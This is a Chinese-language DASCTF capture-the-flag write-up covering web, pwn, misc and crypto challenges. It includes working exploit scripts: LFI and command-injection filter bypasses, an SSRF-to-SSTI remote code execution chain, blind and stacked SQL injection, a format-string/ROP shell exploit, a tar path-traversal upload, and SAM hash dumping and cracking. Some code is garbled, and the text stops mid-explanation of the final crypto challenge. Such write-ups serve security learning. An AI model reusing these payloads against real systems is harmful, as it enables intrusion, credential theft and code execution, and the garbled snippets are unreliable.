
签到题
题目名称:【填空题1】
题目内容:如果在正常样本中人为故意地掺入噪声干扰以误导智能算法,使智能算法产生错误结果,那么这种噪声干扰的样本被称为_____。
题目分值:20.0
题目难度:非常容易
flag:对抗样本
题目名称:【填空题2】
题目内容:面向整车全生命周期网络安全工程的国际标准(ISO/SAE ____(填标准编号) Road vehicles --- Cybersecurity engineering),已成为车联网威胁建模与安全需求分解的主线标准。
题目分值:20.0
题目难度:非常容易
flag:21434
题目名称:【填空题3】
题目内容:物联网设备的__________管理是安全防护的关键环节,若设备私钥存储在可读写的公共存储区域,攻击者即可通过物理手段提取私钥,进而仿冒合法设备接入网络。
题目分值:20.0
题目难度:非常容易
flag:密钥
WEB
拯救芙莉莲

提示存在宝箱

目录扫描存在robots.txt

访问

Notice: Undefined index: file in /var/www/html/<(´⌯ ̫⌯`)>.php on line 129
Warning: include(): Filename cannot be empty in /var/www/html/<(´⌯ ̫⌯`)>.php on line 152
Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/<(´⌯ ̫⌯`)>.php on line 152
尝试路径穿越

存在waf 过滤了常见绕过内容
*尝试php伪协议*
php://filter用于读取源码 。
php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出
可以以base64编码的方式读取指定文件的源码:
输入
php://filter/convert.base64-encode/resource=文件路径


拿到base加密后的源码

发现存在危险后门利用 spell
$blacklist = array(
'flag',
'php://input',
'data://',
'expect://',
'file://',
'glob://',
'phar://',
'/etc/passwd',
'/etc/shadow',
'win.ini',
'.../',
'...\',
);
foreach (blacklist as bad) {
if (stripos(file, bad) !== false) {
die('
❌ 魔法屏障阻止了你的尝试
检测到危险的魔法咒语...
');
}
}
include($file);
}
?>
<div class="bg">
天哪,芙芙被宝箱怪困住了,你能施法帮她脱离困境吗...
<?php
if (isset($_GET['spell'])) {
echo '
';
echo '
�� 解开宝箱怪的封印
';
echo '
’;
echo "芙芙: "这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开..."\n";
echo "芙芙: "我记得封印的关键在根目录的某个文件里..."\n";
echo "芙芙: "但是宝箱怪的魔法屏障会拒绝某些危险的咒语!"\n";
echo "芙芙: "也许你可以用 Linux 命令来读取那个文件?"\n";
spell = _GET['spell'];
echo "你的咒语: " . htmlspecialchars($spell) . "\n";
$forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
foreach (forbidden as bad) {
if (stripos(spell, bad) !== false) {
die("⚠️ 检测到禁忌的黑魔法!\n芙芙: "宝箱怪拒绝了这个咒语..."\n");
}
}
if (stripos($spell, 'flag') !== false) {
die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n");
}
$blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
foreach (blocked_commands as cmd) {
if (stripos(spell, cmd) !== false) {
die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: "这些常用的命令都被屏蔽了...得想想其他办法..."\n");
}
}
尝试绕过黑名单
发现可以使用flie_get_contents
?spell=php%20-r%20%22echo%20file_get_contents(%27/%27.%27fl%27.%27ag%27);%22
Url编码

DASCTF{43542918692992637148528288213513}
拿到flag
cybers
cybers

初始功能界面

File reader可以读取源码 有明显的路径穿越
拿到app完整源码
这是前端校验
后端对应./backend/app.py
@app.route('/relay', methods=["POST"])
def relay():
target_port = int(request.form['port'])
payload = request.form['data']
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', target_port))
sock.send(payload.encode())
后端 /market 路由使用 render_template_string 渲染用户输入
result = f"Fragment '{fragment_id}' not found in market database."
return render_template_string(f"
{result}
")
存在waf
forbidden_patterns = ['import', 'os', 'system', 'eval', 'exec',
'{{', '}}', '.', '_', '[', ']', ''', '"', 'class', 'base',
'sub', 'globals', 'builtin', 'args', 'request', '*', '\', '?', ...]
fetch('/relay', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'port=5000&data=GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n'
}).then(r => r.text()).then(console.log)
Relay路由可以返回session
requested = int(request.args.get('amount'))
if requested < 100:
earned = requested # 负数也会通过!

传入 amount=-9223372036854775808(int64最小值),使 session['credits'] = -9223372036854775808。
最终构造思路
SSRF (/relay → 后端5000)
NumPy int64溢出 (hack amount=-2^63 → 积分下溢)
SSTI注入 (绕过security_filter → RCE)
SUID提权 (tar以root权限读取/flag)
import requests
import re
import urllib.parse
TARGET = "http://45.40.247.139:21112"
def relay(payload):
r = requests.post(
TARGET + "/relay",
data={
"port": "5000",
"data": payload
}
)
return r.text
def get_cookie(resp):
m = re.search(r"session=([^;]+)", resp)
if not m:
raise Exception("Session cookie not found")
return m.group(1)
print("[*] Step1 初始化 backend session")
req = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
resp = relay(req)
cookie = get_cookie(resp)
print("[+] session =", cookie)
print("[*] Step2 触发 numpy int64 溢出")
req = f"""GET /hack?amount=-9223372036854775808 HTTP/1.1
Host: 127.0.0.1
Cookie: session={cookie}
"""
resp = relay(req)
cookie = get_cookie(resp)
print("[+] new session =", cookie)
print("[*] Step3 构造 SSTI payload")
payload = r"""{%set u=lipsum|string|batch(19)|first|last%}{%set uu=u~u%}{%set gl=uu(dict(glo=x)|join)(dict(bal=x)|join)(dict(s=x)|join)uu%}{%set gi=uu(dict(getite=x)|join)(dict(m=x)|join)~uu%}{%set bi=uu(dict(bui=x)|join)(dict(lt=x)|join)(dict(in=x)|join)(dict(s=x)|join)~uu%}{%set ch=(dict(ch=x)|join)~(dict(r=x)|join)%}{%set bdict=lipsum|attr(gl)|attr(gi)(bi)%}{%set chrfn=bdict|attr(gi)(ch)%}{%set sl=chrfn(47)%}{%set sp=chrfn(32)%}{%set da=chrfn(45)%}{%set on=(dict(o=x)|join)~(dict(s=x)|join)%}{%set po=(dict(po=x)|join)~(dict(pen=x)|join)%}{%set re=(dict(re=x)|join)~(dict(ad=x)|join)%}{%set cmd=(dict(tar=x)|join)sp(dict(cf=x)|join)spdaspsl(dict(fl=x)|join)(dict(ag=x)|join)%}{%print(lipsum|attr(gl)|attr(gi)(on)|attr(po)(cmd)|attr(re)())%}"""
form = f"fragment={urllib.parse.quote(payload)}"
http_req = f"""POST /market HTTP/1.1
Host: 127.0.0.1
Cookie: session={cookie}
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(form)}
{form}
"""
print("[*] Step4 发送最终 exploit")
resp = requests.post(
TARGET + "/relay",
data={
"port": "5000",
"data": http_req
}
)
print("\n====== FLAG RESPONSE ======\n")
print(resp.text)

DASCTF{19877688953357159162992897195575}
拿到完整flag
Fisafopil
-
下载源码进行分析,发现两个接口(login/edit-profile)有sql注入点(两个接口都没有做预处理)

-
经过测试发现有admin用户(直接登录admin用户,随便输入一个密码,回显密码失败),由于前端进行16进制加密,后端再进行16进制解密,login接口可以打sql盲注,根据当前用户是否注册进行判断,edit-profile接口可以利用cursor.execute进行堆叠注入。
-
sql盲注拿到admin的密码hash
import requests
import binascii
import time
url = "http://45.40.247.139:30675/login"
def to_hex(s):
"""将字符串转换为十六进制"""
return ''.join(hex(ord©)[2:] for c in s)
def blind_inject(condition):
"""
执行盲注查询
返回True: 条件成立(400状态码,密码错误)
返回False: 条件不成立(500状态码,用户不存在)
"""
payload = f"admin' AND ({condition}) -- "
hex_payload = to_hex(payload)
data = {
"username": hex_payload,
"password": to_hex("a") # 任意密码
}
try :
response = requests.post(url, data=data, allow_redirects=False)
if response.status_code == 400:
return True
elif response.status_code == 500:
return False
else :
return None
except :
return None
def get_length(condition_template, max_length=100):
"""获取长度"""
for i in range(1, max_length + 1):
if blind_inject(condition_template.format(i)):
return i
return None
def get_str(condition_template, length):
"""逐字符获取字符串"""
result = ""
for pos in range(1, length + 1):
found = False
for ascii_code in range(32, 127): # 可打印字符
if blind_inject(condition_template.format(pos, ascii_code)):
result += chr(ascii_code)
print(f"第{pos}位: {chr(ascii_code)}")
found = True
break
if not found:
result += "?"
print(f"第{pos}位: ?")
return result
# 1. 测试盲注是否可行
print("[*] 测试盲注...")
if blind_inject("1=1"):
print("[+] 盲注测试成功")
else :
print("[-] 盲注测试失败")
exit()
# 2. 获取admin密码哈希长度
print("\n[*] 获取admin密码哈希长度...")
pwd_length = get_length("LENGTH((SELECT password FROM users WHERE username='admin')) = {}", 50)
if pwd_length:
print(f"[+] admin密码哈希长度: {pwd_length}")
else :
print("[-] 获取长度失败")
exit()
# 3. 获取admin密码哈希值
print("\n[*] 获取admin密码哈希值...")
pwd_hash = get_str(
"UNICODE(SUBSTR((SELECT password FROM users WHERE username='admin'), {}, 1)) = {}",
pwd_length
)
print(f"[+] admin密码哈希: {pwd_hash}")
- 堆叠注入拿到admin的密码hash
x'; UPDATE users SET email=(SELECT password FROM users WHERE username='admin') WHERE username='a'; --


-
然后使用md5长度扩展攻击,(这也是很多厂商抛弃md5的攻击,如果你知道 MD5(secret + data) 的结果,即使不知道 secret 的值,也可以计算出 MD5(secret + data + padding + extension) 的结果。)
-
admin的原始长度在代码中有为16

-
使用代码生成扩展的md5
import math
import struct
# ---- MD5 primitives (minimal) ----
def _rol(x, s):
return ((x << s) | (x >> (32 - s))) & 0xFFFFFFFF
K = [int(abs(math.sin(i + 1)) * (2**32)) & 0xFFFFFFFF for i in range(64)]
S = [7,12,17,22]*4 + [5,9,14,20]*4 + [4,11,16,23]*4 + [6,10,15,21]*4
def _compress(state, block64):
a, b, c, d = state
M = list(struct.unpack("<16I", block64))
A, B, C, D = a, b, c, d
for i in range(64):
if i < 16:
F = (B & C) | ((~B) & 0xFFFFFFFF & D)
g = i
elif i < 32:
F = (D & B) | (C & ((~D) & 0xFFFFFFFF))
g = (5i + 1) % 16
elif i < 48:
F = B ^ C ^ D
g = (3 i + 5) % 16
else :
F = C ^ (B | ((~D) & 0xFFFFFFFF))
g = (7*i) % 16
F = (F + A + K[i] + M[g]) & 0xFFFFFFFF
A, D, C, B = D, C, B, (B + _rol(F, S[i])) & 0xFFFFFFFF
return ((a + A) & 0xFFFFFFFF, (b + B) & 0xFFFFFFFF, (c + C) & 0xFFFFFFFF, (d + D) & 0xFFFFFFFF)
def _pad(msg_len_bytes):
return b"\x80" + b"\x00" * ((55 - msg_len_bytes) % 64) + struct.pack("<Q", msg_len_bytes * 8)
def _md5_from_state(state, data64_aligned):
a, b, c, d = state
for i in range(0, len(data64_aligned), 64):
a, b, c, d = _compress((a, b, c, d), data64_aligned[i:i+64])
return struct.pack("<4I", a, b, c, d).hex()
# ---- length extension ----
def length_extension(known_hash_hex, ml, ext):
state = struct.unpack("<4I", bytes.fromhex(known_hash_hex.strip()))
glue = _pad(ml)
tl = ml + len(glue) + len(ext)
new_hash = _md5_from_state(state, ext + _pad(tl))
return new_hash, glue + ext
if name == "main ":
P1 = b"a"
known_hash = input("known_hash (32 hex): ").strip().lower()
EXT = b"EXT"
new_hash, data_appended = length_extension(known_hash, 16 + len(P1), EXT)
extended_password = P1 + data_appended
print("new_hash =", new_hash)
print("data_appended_hex =", data_appended.hex())
print("extended_password_hex =", extended_password.hex())
-
使用接口将admin的hash设置为扩展hash,这样就可以绕过waf的限制

o 这个waf检测,只要你的请求是http,他就会检测admin的密码hash,如果在PASSWORD_SET集合中,就会重置服务,这个集合就是你注册写入密码hash的集合,waf的作用就是防止你修改admin的密码为注册用户的,阻止密码覆盖攻击
-
使用扩展的md5覆盖原先的admin的密码哈希
x'; UPDATE users SET password='85316b33e481da3658de1697a56da2c7' WHERE username='admin'; --

6.成功登录admin账户

- 任意文件覆盖,上传一个jinjia2的ssti的tar包即可

- 使用ssti模板注入,成功拿到flag
路径穿越的tar包
echo -n '
{{ lipsum.globals[“os”].popen(“cat /flag”).read() }}
' > payload.txt && tar -cf -cfloit.tar --tr--transform='s/payload.txt/.../templates/info.html/'load.txt
{{ lipsum.globals["os"].popen("cat /flag").read() }}

flag: DASCTF{19877688953357159162992897195575}
PWN
题目名称:house_1
题目内容:Can you get a proper house
题目分值:200.0
题目难度:中等
先IDA查看



全保护



从栈上获得的第8个地址和PIE的偏移为0x14a0
rdi与pie的偏移是0x1503
然后发现栈上第13个地址是canary,构造第一个payload获得puts在内存中的地址,算出libc基地址然后计算得到system和binsh地址
然后再次构造payload获得shell

flag:DASCTF{COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse}
EXP:
from pwn import *
import os
context(os='linux', arch='amd64', log_level='info')
libdir = '/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64'
ld = libdir + '/ld-2.31.so' # 动态链接器路径
path = './pwn'
#p = process([ld, '--library-path', libdir, path])
p = remote('45.40.247.139',18607)
elf = ELF(path)
libc = ELF('./libc.so.6')
#libc = ELF(libdir + '/libc-2.31.so')
def debug():
gdb.attach§
pause()
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)
sla(b">> ", b"2")
sla(b"Please write your name:", b"%8$p")
ru(b"the name is:\n")
pie_leak = int(p.recvline().strip(), 16)
log.info('pie_leak:'+hex(pie_leak))
#debug()
pie = pie_leak -0x14a0
log.info("pie_leak =", hex(pie_leak))
log.info("pie =", hex(pie))
sla(b">> ", b"2")
sla(b"Please write your name:", b"%13$p")
ru(b"the name is:\n")
leak = int(p.recvline().strip(), 16)
log.info("leak =", hex(leak))
#debug()
sla(b">> ", b"2")
sla(b"Please write your name:", fmtstr_payload(6, {pie + 0x4010: 0x100}))
sla(b">> ", b"3")
rdi=pie+0x1503
pay=b"a"*0x48+p64(leak)+p64(0)+p64(rdi)+p64(pie+elf.got["puts"])+p64(pie+elf.plt["puts"])+p64(pie+0x13cf)
sla(b"Please write your content", pay)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym["puts"]
log.info(hex(libc_base))
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
sla(b">> ", b"3")
rdi=pie+0x1503
pay=b"a"*0x48+p64(leak)+p64(0)+p64(rdi)+p64(binsh)+p64(pie+0x101a)+p64(system)
sla(b"Please write your content", pay)
p.interactive()
MISC
题目名称:game_go_1
题目内容:game_go 提示:原始两段边界处都有 -,拼接上,flag不是标准UUID格式。
题目分值:100.0


MSCF是 Microsoft Cabinet 的文件头特征- 如果能在 exe 中找到
MSCF,基本可以确定 exe 后面挂了 CAB 资源包
已经定位到 MSCF 偏移,就可以把这个位置之后的数据切出来:
exe 后面确实挂了一个 CAB 包
解出后得到典型的 RPG Maker VX Ace 项目结构

python
strings -a Weapons.rvdata2 | grep -E "DASCTF|flag|[0-9a-f-]{8,}"
-0.10000000000000001
-0.10000000000000001
-0.10000000000000001
-0.10000000000000001
-0.10000000000000001
-0.10000000000000001
0.029999999999999999
0.040000000000000001
0.040000000000000001
0.040000000000000001
0.040000000000000001
0.040000000000000001
0.040000000000000001
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.080000000000000002
-0.080000000000000002
-0.080000000000000002
-0.080000000000000002
-0.080000000000000002
-0.050000000000000003
0.029999999999999999
0.029999999999999999
0.029999999999999999
0.029999999999999999
0.029999999999999999
0.029999999999999999
0.040000000000000001
0.029999999999999999
0.029999999999999999
0.040000000000000001
0.029999999999999999
0.040000000000000001
0.040000000000000001
0.029999999999999999
0.050000000000000003
0.040000000000000001
0.029999999999999999
0.059999999999999998
0.040000000000000001
0.070000000000000007
0.070000000000000007
0.040000000000000001
0.029999999999999999
0.10000000000000001
1168cb17-31ff-43b7-
DASCTF{
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
-0.050000000000000003
所以目前可组合为:
DASCTF{1168cb17-31ff-43b7-


-b586-8414d383afce}
拼接得到:
flag:DASCTF{1168cb17-31ff-43b7--b586-8414d383afce}
SAM_and_Steg
题目提示sam和图片隐写
先看sam文件

后缀存在明显的密文 p@s4w0rd

System明显的都是用户的hash值 尝试impecket提取管理员hash值
└─$ impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
\*\] Target system bootKey: 0xa88f47504785ba029e8fa532c4c9e27b \[\*\] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: \[\*\] Cleaning up... ┌──(kali㉿kali)-\[\~/Impacket/impacket
└─$ echo 476b4dddbbffde29e739b618580adb1e > hash.txt
┌──(kali㉿kali)-[~/Impacket/impacket]
└─$ hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
爆破匹配Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::

476b4dddbbffde29e739b618580adb1e:!checkerboard1
Session...: hashcat
Status...: Cracked
Hash.Mode...: 1000 (NTLM)
Hash.Target...: 476b4dddbbffde29e739b618580adb1e
Time.Started...: Tue Mar 10 13:51:53 2026 (8 secs)
Time.Estimated...: Tue Mar 10 13:52:01 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base...: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue...: 1/1 (100.00%)
Speed.#1...: 1681.9 kH/s (0.10ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered...: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress...: 14340096/14344385 (99.97%)
Rejected...: 0/14340096 (0.00%)
Restore.Point...: 14339072/14344385 (99.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1...: !jrp2pep03! -> !carragold!
Hardware.Mon.#1...: Util: 13%
拿到第二个密文!checkerboard1
题目提示隐写 尝试提取图片特征

12324864 0xBC1000 JPEG image data, JFIF standard 1.01
存在图片特征

提取图片 提示openssl 3.0.11

用第一层密码提取aes256
!checkerboard1
openssl enc -d -aes-256-cbc -in AES256 -out aes.dec -pass pass:p@s4w0rd
Openssl 解密aes256文件 密文是sam文件尾
发现是dec文件
gunzip -c aes.dec > output.tar
解压获取flag

DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}
题目名称:Time_and_chaos_1
题目内容:混沌初开,时间流逝
题目分值:200.0

脚本来合成图片看一下右上角
from PIL import Image, ImageOps
import numpy as np
imgs = []
for i in range(1, 9):
img = Image.open(f"{i}.png").convert("RGB")
imgs.append(np.array(img, dtype=np.uint8))
mean_img = np.mean(np.stack(imgs, axis=0), axis=0).astype(np.uint8)
Image.fromarray(mean_img).save("mean.png")
inv = ImageOps.invert(Image.fromarray(mean_img))
inv.save("mean_inv.png")
print("已生成 mean.png 和 mean_inv.png")

从图片里面可以隐约看到DASCTF{Logistic_and
flag.txt里面"666"也许是有用的东西
这里有这些零宽字符
U+200C
U+200D
U+202C
U+FEFF
先写个小脚本,把 flag.txt 中这些字符筛出来。
s = open("flag.txt", "r", encoding="utf-8").read()
zw = [ch for ch in s if ord(ch) in (0x200C, 0x200D, 0x202C, 0xFEFF)]
print("零宽字符数量:", len(zw))
print("对应码点:")
for ch in zw[:50]:
print(hex(ord(ch)), end=" ")
print()

这题给了 4 种不同字符,最自然的联想就是:
- 每个字符对应 2 bit
- 4 个字符正好表示:
00011011
映射关系可以设为:
0x200C -> 00
0x200D -> 01
0x202C -> 10
0xFEFF -> 11
然后把这些 bit 拼起来,再每 8 位还原成字节。
s = open("flag.txt", "r", encoding="utf-8").read()
zw = "".join(ch for ch in s if ord(ch) in (0x200C, 0x200D, 0x202C, 0xFEFF))
mapping = {
0x200C: "00",
0x200D: "01",
0x202C: "10",
0xFEFF: "11",
}
bits = "".join(mapping[ord(ch)] for ch in zw)
data = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
print("原始字节:", data)
text = data.decode("utf-16-be")
print("解码结果:", text)

拼接得到
DASCTF{Logistic_and_time_fly}
CRYPTO
题目名称:Flip
题目内容:Seems so many bits known!
题目分值:300.0
题目难度:困难
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [(28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149), (26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289), (6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383), (70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603), (58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012)]
from Crypto.Util.number import *
from random import *
from os import urandom
from secret import flag
def pad(msg, length):
return msg + urandom(length - len(msg))
def flip(length):
return int("".join(["10101"+str(getrandbits(1))+str(getrandbits(1))+str(getrandbits(1)) for _ in range(length//8)]), 2)
d = bytes_to_long(pad(flag.lstrip(b"DASCTF{").rstrip(b"}"), 256//8))
p = getPrime(256)
g = 2
sigs = []
for i in range(5):
k = flip(256)
r = pow(g,k,p)
s = inverse(k,p) * (i + r*d) % p
sigs.append((r,s))
print("p =", p)
print("sigs =", sigs)
python
from Crypto.Util.number import *
from random import *
from os import urandom
from secret import flag
def pad(msg, length):
return msg + urandom(length - len(msg))
def flip(length):
return int("".join(["10101"+str(getrandbits(1))+str(getrandbits(1))+str(getrandbits(1)) for _ in range(length//8)]), 2)
d = bytes_to_long(pad(flag.lstrip(b"DASCTF{").rstrip(b"}"), 256//8))
p = getPrime(256)
g = 2
sigs = []
for i in range(5):
k = flip(256)
r = pow(g,k,p)
s = inverse(k,p) * (i + r*d) % p
sigs.append((r,s))
print("p =", p)
print("sigs =", sigs)
这是一个"伪 DSA"签名,5 个 nonce 不是完全随机,而是每个字节都长成 10101xyz,也就是每字节只剩 3 位未知。这个结构足够做格攻击/隐藏数攻击来把私钥 d 解出来。
题目里 5 组签名满足
s = inverse(k,p) * (i + r*d) % p
其中 i 就是第几组签名,也就是 0,1,2,3,4。
而 flip(256) 生成的 k 每个字节都是 10101xyz,也就是固定高 5 位、低 3 位未知。这类"nonce 部分已知且分散泄露"的结构,本质上就是 Extended Hidden Number Problem,通常要走格攻击,而且很多时候直接 LLL 不够,需要按 CVP 的思路去做。
我把第 0 组和第 1 组签名联立,消掉私钥 d,把每个 nonce 的 32 个未知低 3 位当作 64 个小变量,构造单个模 ppp 的线性同余,再用 BKZ + CVP 把这 64 个变量恢复出来。随后得到真实的k0,k1,再由

恢复出私钥对应的 32 字节消息块。
EXP:
python
from sage.all import *
import string
# =========================
# 题目给出的参数
# =========================
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [
(28285613871231310640779639473901158789539111552315215487796222768188014946190,
26227626146853365468070394748025813676883717455365705026242089396817666141149),
(26126343100952318312992351606027346470307966676167073519850533997742307763173,
14620119507969980035515863104967829444815591632534197769232561325577348982289),
(6275780641102104914321094704687354889900656957520025439748906503860424049255,
17138154832682193571532283943639841813795519294633367500729430287205754722383),
(70074830218018060401156682458161679247596227822712273801560023880579237944207,
7241759400261146571231207923652617524886465143836459562831120970876560955603),
(58010164614616186321967235608825740148005793483553468415042960153988671899689,
11042506367122208018546854524444698969622593890076172637272391555458027253012),
]
# K0 = 0xA8A8...A8 (32 bytes)
K0 = Integer(int.from_bytes(bytes([0xA8]) * 32, "big"))
# =========================
# 工具函数
# =========================
def long_to_32bytes(x):
return int(x).to_bytes(32, "big")
def printable_prefix(bs):
ok = set(bytes(string.printable, "ascii"))
out = []
for b in bs:
if b in ok and b != 0x0b and b != 0x0c:
out.append(b)
else:
break
return bytes(out)
def build_pair_equation(a, b):
"""
对两组签名 a,b 构造:
sum(coeff_i * x_i) == rhs (mod p)
其中 x_i ∈ [0,7]
前32个变量是 k_a 的每字节低3位
后32个变量是 k_b 的每字节低3位
"""
r_a, s_a = map(Integer, sigs[a])
r_b, s_b = map(Integer, sigs[b])
coeffs = []
# k_a 部分: r_b * s_a * 2^(8j)
for j in range(32):
coeffs.append((r_b * s_a * (Integer(1) << (8 * j))) % p)
# k_b 部分: -r_a * s_b * 2^(8j)
for j in range(32):
coeffs.append((-r_a * s_b * (Integer(1) << (8 * j))) % p)
rhs = (r_b * a - r_a * b - (r_b * s_a - r_a * s_b) * K0) % p
return coeffs, rhs
def try_recover_from_pair(a, b, X=20, block_size=30):
"""
用 embedding lattice 恢复两个 nonce 的 64 个低3位变量
"""
coeffs, rhs = build_pair_equation(a, b)
n = len(coeffs) # 64
# 中心化:x_i = y_i + 3, 其中 y_i ∈ [-3,4]
target = (rhs - 3 * sum(coeffs)) % p
# 构造 embedding lattice
#
# 行向量基:
# [ p, 0,0,...,0, 0 ]
# [ a1, 1,0,...,0, 0 ]
# [ a2, 0,1,...,0, 0 ]
# ...
# [ an, 0,0,...,1, 0 ]
# [ target, 0,0,...,0, X ]
#
# 若存在解 y_i,则格中有短向量:
# [0, -y1, -y2, ..., -yn, X]
#
B = Matrix(ZZ, n + 2, n + 2)
B[0, 0] = p
for i in range(n):
B[i + 1, 0] = coeffs[i]
B[i + 1, i + 1] = 1
B[n + 1, 0] = target
B[n + 1, n + 1] = X
# 先 LLL,再 BKZ
B = B.LLL()
try:
B = B.BKZ(block_size=block_size)
except Exception:
pass
# 扫描 reduced basis 中可能的短向量
cands = []
for row in B.rows():
v = list(map(Integer, row))
if abs(v[0]) == 0 and abs(v[-1]) == X:
mids = [-z for z in v[1:-1]] # y_i
if all(-3 <= z <= 4 for z in mids):
xs = [int(z + 3) for z in mids]
if all(0 <= z <= 7 for z in xs):
cands.append(xs)
# 也检查相反数
v = list(map(Integer, (-row)))
if abs(v[0]) == 0 and abs(v[-1]) == X:
mids = [-z for z in v[1:-1]]
if all(-3 <= z <= 4 for z in mids):
xs = [int(z + 3) for z in mids]
if all(0 <= z <= 7 for z in xs):
cands.append(xs)
# 去重
uniq = []
seen = set()
for xs in cands:
t = tuple(xs)
if t not in seen:
seen.add(t)
uniq.append(xs)
return uniq
def xs_to_k(xs32):
"""
从 32 个低3位变量恢复完整 k
"""
k = K0
for j, x in enumerate(xs32):
k += Integer(x) << (8 * j)
return k
def recover_d_from_sig(idx, k):
r, s = map(Integer, sigs[idx])
m = Integer(idx)
d = ((s * k - m) * inverse_mod(r, p)) % p
return d
def check_candidate(pair, xs):
a, b = pair
xa = xs[:32]
xb = xs[32:]
k_a = xs_to_k(xa)
k_b = xs_to_k(xb)
# 验证 pair 方程
r_a, s_a = map(Integer, sigs[a])
r_b, s_b = map(Integer, sigs[b])
lhs = (r_b * s_a * k_a - r_a * s_b * k_b) % p
rhs = (r_b * a - r_a * b) % p
if lhs != rhs:
return None
# 用 a 组恢复 d
d = recover_d_from_sig(a, k_a)
d_bytes = long_to_32bytes(d)
pref = printable_prefix(d_bytes)
return {
"pair": pair,
"k_a": k_a,
"k_b": k_b,
"d": d,
"d_bytes": d_bytes,
"prefix": pref,
}
# =========================
# 主逻辑
# =========================
pairs = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 2), (1, 3), (1, 4)]
X_list = [8, 12, 16, 20, 24, 32]
found = False
for pair in pairs:
a, b = pair
print(f"[+] trying pair {pair}")
for X in X_list:
print(f" [-] X = {X}")
try:
cands = try_recover_from_pair(a, b, X=X, block_size=30)
except Exception as e:
print(f" error: {e}")
continue
print(f" candidates: {len(cands)}")
for xs in cands:
res = check_candidate(pair, xs)
if res is None:
continue
pref = res["prefix"]
if len(pref) >= 8:
print("[*] possible d bytes =", res["d_bytes"])
print("[*] printable prefix =", pref)
# 题目真实 flag body 在 d 的高位前缀里,后面是随机 pad
body = pref.decode(errors="ignore")
print("[*] flag body guess =", body)
print("[*] flag =", "DASCTF{" + body + "}")
found = True
break
if found:
break
if found:
break
if not found:
print("[-] not found, try increasing BKZ block size or more X values")

flag:DASCTF{Just_f3w_Bit5_fl1pp1ng}
题目名称:GCD,杠上了
题目内容:又是GCD,我该如何得到公共因数p的值呢 请使用"DASCTF{"+sha256(hex§.encode()).hexdigest()[:32]+"}"计算得到flag
题目分值:300.0
题目难度:困难
先看源码逻辑
p是768bit素数,q是1000bit素数,e作为噪声
生成四个x满足
x=pqi+ei x=pq_i+e_i x=pqi+ei
题目名称是gcd,但是这里有一个e,直接gcd看起来行不通
虽然x不是严格的p的倍数,但是一定也很接近
相较于pq,乘起来就是1768bit左右
而e在[-2^255, 2^255],即256bit,所以误差e_i其实是很小的
攻击思路:
我们有了四个x,可不可以构造某种线性组合,去把pq_i消去,保留较小的e,再通过格上断向量找出来
考虑q0x1−q1x0,再展开
q0(pq1+e1)−q1(pq0+e0) q0(pq1+e1)−q1(pq0+e0) q0(pq1+e1)−q1(pq0+e0)
=pq0q1+q0e1−pq0q1−q1e0 =pq0q1+q0e1−pq0q1−q1e0 =pq0q1+q0e1−pq0q1−q1e0
=q0e1−q1e0 =q0e1−q1e0 =q0e1−q1e0
这样主项就已经抵消了,剩下的也同理
再取X0作为基准,构造如下矩阵
